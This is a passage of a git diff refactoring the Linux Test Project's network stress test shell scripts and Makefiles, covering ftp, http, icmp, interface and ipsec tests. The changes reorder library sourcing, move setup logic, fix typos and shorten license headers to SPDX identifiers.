@@ -24,7 +24,6 @@
 TST_CLEANUP="cleanup"
 
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 # Big file size to upload/download in ftp tests (byte)
 DOWNLOAD_BIGFILESIZE=${DOWNLOAD_BIGFILESIZE:-2147483647}
@@ -90,9 +89,8 @@
 	tst_resm TPASS "Test is finished successfully"
 }
 
+. tst_net.sh
 setup
-
 test01
 test02
-
 tst_exit
diff --git a/testcases/network/stress/ftp/ftp-upload-stress.sh b/testcases/network/stress/ftp/ftp-upload-stress.sh
index 602dc4e..cfd7d87 100755
--- a/testcases/network/stress/ftp/ftp-upload-stress.sh
+++ b/testcases/network/stress/ftp/ftp-upload-stress.sh
@@ -24,7 +24,6 @@
 TST_CLEANUP="cleanup"
 
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 # Big file size to upload (byte)
 UPLOAD_BIGFILESIZE=${UPLOAD_BIGFILESIZE:-2147483647}  # 2GB - 1
@@ -98,9 +97,8 @@
 	tst_resm TPASS "Test is finished successfully"
 }
 
+. tst_net.sh
 setup
-
 test01
 test02
-
 tst_exit
diff --git a/testcases/network/stress/http/Makefile b/testcases/network/stress/http/Makefile
index 4529865..f354293 100644
--- a/testcases/network/stress/http/Makefile
+++ b/testcases/network/stress/http/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= *.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/http/http-stress.sh b/testcases/network/stress/http/http-stress.sh
index 31fe5af..562a49f 100755
--- a/testcases/network/stress/http/http-stress.sh
+++ b/testcases/network/stress/http/http-stress.sh
@@ -24,7 +24,6 @@
 TST_CLEANUP="cleanup"
 
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 cleanup()
 {
@@ -74,9 +73,8 @@
 	tst_resm TPASS "Test is finished successfully"
 }
 
+. tst_net.sh
 setup
-
 test01
 test02
-
 tst_exit
diff --git a/testcases/network/stress/icmp/Makefile b/testcases/network/stress/icmp/Makefile
index 61a142a..716f84d 100644
--- a/testcases/network/stress/icmp/Makefile
+++ b/testcases/network/stress/icmp/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress/icmp test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/icmp/icmp-uni-basic.sh b/testcases/network/stress/icmp/icmp-uni-basic.sh
index 2ae616c..af65c85 100755
--- a/testcases/network/stress/icmp/icmp-uni-basic.sh
+++ b/testcases/network/stress/icmp/icmp-uni-basic.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016 Red Hat Inc.,  All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Hangbin Liu <haliu@redhat.com>
@@ -8,7 +8,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=do_setup
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_setup()
 {
@@ -22,4 +21,5 @@
 	tst_ping -s $2
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/icmp/icmp-uni-vti.sh b/testcases/network/stress/icmp/icmp-uni-vti.sh
index 18bc71c..ea3e4c4 100755
--- a/testcases/network/stress/icmp/icmp-uni-vti.sh
+++ b/testcases/network/stress/icmp/icmp-uni-vti.sh
@@ -1,13 +1,12 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
 TST_TESTFUNC=do_test
 TST_SETUP=do_setup
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_setup()
 {
@@ -21,4 +20,5 @@
 	tst_ping -I $tst_vti -H $ip_rmt_tun -s $2
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/icmp/multi-diffip/Makefile b/testcases/network/stress/icmp/multi-diffip/Makefile
index d0bfb37..5fd73aa 100644
--- a/testcases/network/stress/icmp/multi-diffip/Makefile
+++ b/testcases/network/stress/icmp/multi-diffip/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= icmp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt b/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt
index 32da9d0..9cd82f5 100644
--- a/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt
+++ b/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt
@@ -1,5 +1,5 @@
 Verify that the kernel is not crashed with receiving and sending various
-size of ICMP message at differnt NIC simultaneously
+size of ICMP message at different NIC simultaneously
 
 icmp4-multi-diffnic01
 	IPv4
diff --git a/testcases/network/stress/icmp/multi-diffnic/Makefile b/testcases/network/stress/icmp/multi-diffnic/Makefile
index 5eb1012..63389ab 100644
--- a/testcases/network/stress/icmp/multi-diffnic/Makefile
+++ b/testcases/network/stress/icmp/multi-diffnic/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= icmp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
index d4d45b4..2d8278f 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPsec is not used
 #
@@ -55,7 +55,7 @@
 export TST_TOTAL
 
 # Test description
-tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending various size of ICMP message at differnt NIC simultaneously with the following conditions"
+tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending various size of ICMP message at different NIC simultaneously with the following conditions"
 
 # Make sure the value of LTPROOT
 LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`}
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
index 3f5920b..c666b69 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPsec(AH), transport mode
 #
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
index d1ba9a6..183242e 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #
 #     - The version of IP is IPv4
 #     - IPsec(AH), tunnel mode
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
index 164ac46..a640bbc 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPsec(ESP), transport mode
 #
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
index dc764f6..50778e2 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #
 #     - The version of IP is IPv4
 #     - IPsec(ESP), tunnel mode
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
index a58a5fd..eb9cba0 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #
 #     - The version of IP is IPv4
 #     - IPcomp, transport mode
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07 b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
index c8119d7..0793381 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPcomp, tunnel mode
 #
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
index 98c6529..0c2d841 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv6
 #
 # Setup:
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
index 3cdcd76..7b42012 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv6
 #     - IPsec(AH), transport mode
 #
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
index 375043c..d91b2ce 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #
 #     - The version of IP is IPv6
 #     - IPsec(AH), tunnel mode
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
index 20a0962..b03e81a 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv6
 #     - IPsec(ESP), transport mode
 #
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
index bf1d371..5237988 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #
 #     - The version of IP is IPv6
 #     - IPsec(ESP), tunnel mode
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
index 793a503..dfeb7d8 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #
 #     - The version of IP is IPv6
 #     - IPcomp, transport mode
diff --git a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07 b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
index fa07833..142c33c 100644
--- a/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
+++ b/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending ICMP
-#   message at differnt NIC with the following conditions
+#   message at different NIC with the following conditions
 #     - The version of IP is IPv6
 #     - IPcomp, tunnel mode
 #
diff --git a/testcases/network/stress/interface/Makefile b/testcases/network/stress/interface/Makefile
index 31072d5..7ebeec1 100644
--- a/testcases/network/stress/interface/Makefile
+++ b/testcases/network/stress/interface/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress/interface test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= *.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/interface/if-addr-adddel.sh b/testcases/network/stress/interface/if-addr-adddel.sh
index f8f0d11..0750501 100755
--- a/testcases/network/stress/interface/if-addr-adddel.sh
+++ b/testcases/network/stress/interface/if-addr-adddel.sh
@@ -1,15 +1,11 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 IF_CMD='ifconfig'
-. if-lib.sh
-
-# The interval of the check interface activity
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 
 test_body()
 {
@@ -89,4 +85,9 @@
 	tst_res TPASS "Test is finished correctly"
 }
 
+. if-lib.sh
+
+# The interval of the check interface activity
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
+
 tst_run
diff --git a/testcases/network/stress/interface/if-addr-addlarge.sh b/testcases/network/stress/interface/if-addr-addlarge.sh
index 3cf7397..d0759c8 100755
--- a/testcases/network/stress/interface/if-addr-addlarge.sh
+++ b/testcases/network/stress/interface/if-addr-addlarge.sh
@@ -1,15 +1,11 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 IF_CMD='ifconfig'
-. if-lib.sh
-
-# The interval of the check interface activity
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 20))}
 
 test_body()
 {
@@ -110,4 +106,9 @@
 	tst_res TPASS "Test is finished correctly"
 }
 
+. if-lib.sh
+
+# The interval of the check interface activity
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 20))}
+
 tst_run
diff --git a/testcases/network/stress/interface/if-lib.sh b/testcases/network/stress/interface/if-lib.sh
index b398be1..b6f7668 100644
--- a/testcases/network/stress/interface/if-lib.sh
+++ b/testcases/network/stress/interface/if-lib.sh
@@ -1,16 +1,19 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Author: Petr Vorel <pvorel@suse.cz>
 
 CMD="${CMD:-ip}"
 
-TST_SETUP="${TST_SETUP:-if_setup}"
+if [ -z "$TST_SETUP" ]; then
+	TST_SETUP="if_setup"
+	TST_CLEANUP="${TST_CLEANUP:-netstress_cleanup}"
+fi
+
 TST_TESTFUNC="test_body"
 TST_PARSE_ARGS="if_parse_args"
 TST_USAGE="if_usage"
 TST_OPTS="c:"
-. tst_net_stress.sh
 
 if_usage()
 {
@@ -32,7 +35,6 @@
 
 	tst_require_cmds "$CMD"
 	netstress_setup
-	TST_CLEANUP="${TST_CLEANUP:-netstress_cleanup}"
 }
 
 if_cleanup_restore()
@@ -41,3 +43,5 @@
 	restore_ipaddr
 	restore_ipaddr rhost
 }
+
+. tst_net_stress.sh
diff --git a/testcases/network/stress/interface/if-mtu-change.sh b/testcases/network/stress/interface/if-mtu-change.sh
index 7161680..cabc5d4 100755
--- a/testcases/network/stress/interface/if-mtu-change.sh
+++ b/testcases/network/stress/interface/if-mtu-change.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
@@ -8,17 +8,6 @@
 IF_CMD='ifconfig'
 TST_SETUP="do_setup"
 TST_CLEANUP="do_cleanup"
-. if-lib.sh
-
-# CHANGE_INTERVAL: The interval of the mtu change
-TST_TIMEOUT=1
-if tst_net_use_netns; then
-    CHANGE_INTERVAL=${CHANGE_INTERVAL:-100ms}
-else
-    CHANGE_INTERVAL=${CHANGE_INTERVAL:-5}
-fi
-tst_is_int $CHANGE_INTERVAL && TST_TIMEOUT=$CHANGE_INTERVAL
-TST_TIMEOUT=$(((TST_TIMEOUT + 30) * MTU_CHANGE_TIMES))
 
 # The array of the value which MTU is changed into sequentially
 # 552 - net.ipv4.route.min_pmtu
@@ -28,6 +17,36 @@
 
 MAX_PACKET_SIZE=65507
 
+do_setup()
+{
+	# CHANGE_INTERVAL: The interval of the mtu change
+	if tst_net_use_netns; then
+		CHANGE_INTERVAL=${CHANGE_INTERVAL:-100ms}
+	else
+		CHANGE_INTERVAL=${CHANGE_INTERVAL:-5}
+	fi
+
+	local timeout=1
+	tst_is_int $CHANGE_INTERVAL && timeout=$CHANGE_INTERVAL
+	tst_set_timeout $(((timeout + 30) * MTU_CHANGE_TIMES))
+
+	[ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES
+
+	if_setup
+	saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)"
+	[ "$TST_IPV6" ] || find_ipv4_max_packet_size
+}
+
+do_cleanup()
+{
+	if_cleanup_restore
+
+	if [ "$saved_mtu" ]; then
+		ip link set $(tst_iface) mtu $saved_mtu
+		tst_rhost_run -c "ip link set $(tst_iface rhost) mtu $saved_mtu"
+	fi
+}
+
 set_mtu()
 {
 	local mtu="$1"
@@ -68,24 +87,6 @@
 	tst_brk TBROK "failed to find max MTU"
 }
 
-do_setup()
-{
-
-	[ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES
-	if_setup
-	saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)"
-	[ "$TST_IPV6" ] || find_ipv4_max_packet_size
-}
-
-do_cleanup()
-{
-	if_cleanup_restore
-	if [ "$saved_mtu" ]; then
-		ip li set $(tst_iface) mtu $saved_mtu
-		tst_rhost_run -c "ip li set $(tst_iface rhost) mtu $saved_mtu"
-	fi
-}
-
 test_body()
 {
 	local cmd="$CMD"
@@ -117,4 +118,5 @@
 	done
 }
 
+. if-lib.sh
 tst_run
diff --git a/testcases/network/stress/interface/if-route-adddel.sh b/testcases/network/stress/interface/if-route-adddel.sh
index 45ca5d5..51445e4 100755
--- a/testcases/network/stress/interface/if-route-adddel.sh
+++ b/testcases/network/stress/interface/if-route-adddel.sh
@@ -1,14 +1,11 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 IF_CMD='route'
-. if-lib.sh
-
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 
 test_body()
 {
@@ -64,4 +61,8 @@
 	tst_res TPASS "Test is finished correctly"
 }
 
+. if-lib.sh
+
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
+
 tst_run
diff --git a/testcases/network/stress/interface/if-route-addlarge.sh b/testcases/network/stress/interface/if-route-addlarge.sh
index 14de3f6..355b6b4 100755
--- a/testcases/network/stress/interface/if-route-addlarge.sh
+++ b/testcases/network/stress/interface/if-route-addlarge.sh
@@ -1,14 +1,11 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 IF_CMD='route'
-. if-lib.sh
-
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 20))}
 
 test_body()
 {
@@ -76,4 +73,8 @@
 	tst_res TPASS "Test is finished correctly"
 }
 
+. if-lib.sh
+
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 20))}
+
 tst_run
diff --git a/testcases/network/stress/interface/if-updown.sh b/testcases/network/stress/interface/if-updown.sh
index 094e57a..71c78d7 100755
--- a/testcases/network/stress/interface/if-updown.sh
+++ b/testcases/network/stress/interface/if-updown.sh
@@ -1,15 +1,12 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 IF_CMD='ifconfig'
 TST_CLEANUP="if_cleanup_restore"
-. if-lib.sh
-
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 20))}
 
 test_body()
 {
@@ -47,4 +44,8 @@
 	tst_res TPASS "Test is finished correctly"
 }
 
+. if-lib.sh
+
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 20))}
+
 tst_run
diff --git a/testcases/network/stress/interface/if4-addr-change.sh b/testcases/network/stress/interface/if4-addr-change.sh
index 5af8fb9..f162e6a 100755
--- a/testcases/network/stress/interface/if4-addr-change.sh
+++ b/testcases/network/stress/interface/if4-addr-change.sh
@@ -8,9 +8,7 @@
 TST_CLEANUP="do_cleanup"
 TST_TESTFUNC="test_body"
 TST_NEEDS_CMDS="ifconfig"
-. tst_net.sh
 
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 # Maximum host portion of the IPv4 address on the local host
 LHOST_IPV4_HOST_MAX="254"
 
@@ -61,4 +59,8 @@
 	tst_ping
 }
 
+. tst_net.sh
+
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
+
 tst_run
diff --git a/testcases/network/stress/ipsec/Makefile b/testcases/network/stress/ipsec/Makefile
index 43352cc..14d858e 100644
--- a/testcases/network/stress/ipsec/Makefile
+++ b/testcases/network/stress/ipsec/Makefile
@@ -1,23 +1,6 @@
-#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2016 Red Hat Inc.,  All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Hangbin Liu <haliu@redhat.com>
-#
-#######################################################################
-
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/ipsec/ipsec_lib.sh b/testcases/network/stress/ipsec/ipsec_lib.sh
index e395e1f..27f2595 100644
--- a/testcases/network/stress/ipsec/ipsec_lib.sh
+++ b/testcases/network/stress/ipsec/ipsec_lib.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016 Red Hat Inc.,  All Rights Reserved.
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Hangbin Liu <haliu@redhat.com>
@@ -16,6 +16,11 @@
 
 IPSEC_REQUESTS="500"
 
+TST_OPTS="l:m:p:s:S:k:A:e:a:c:r:"
+TST_PARSE_ARGS=ipsec_lib_parse_args
+TST_SETUP=${TST_SETUP:-ipsec_lib_setup}
+TST_USAGE=ipsec_lib_usage
+
 ipsec_lib_usage()
 {
 	echo "l n     n is the number of test link when tests run"
@@ -89,12 +94,6 @@
 	fi
 }
 
-TST_OPTS="l:m:p:s:S:k:A:e:a:c:r:"
-TST_PARSE_ARGS=ipsec_lib_parse_args
-TST_SETUP=${TST_SETUP:-ipsec_lib_setup}
-TST_USAGE=ipsec_lib_usage
-. tst_net.sh
-
 get_key()
 {
 	local bits=$1
@@ -123,8 +122,8 @@
 	tst_rhost_run -c "ip xfrm state flush && ip xfrm policy flush"
 
 	if [ -n "$cleanup_vti" ]; then
-		ip li del $cleanup_vti 2>/dev/null
-		tst_rhost_run -c "ip li del $cleanup_vti 2>/dev/null"
+		ip link del $cleanup_vti 2>/dev/null
+		tst_rhost_run -c "ip link del $cleanup_vti 2>/dev/null"
 	fi
 }
 
@@ -238,7 +237,7 @@
 	local d="dev $(tst_iface)"
 	local rd="dev $(tst_iface rhost)"
 
-	ip li add type vti help 2>&1 | grep -q vti || \
+	ip link add type vti help 2>&1 | grep -q vti || \
 		tst_brk TCONF "iproute doesn't support 'vti'"
 
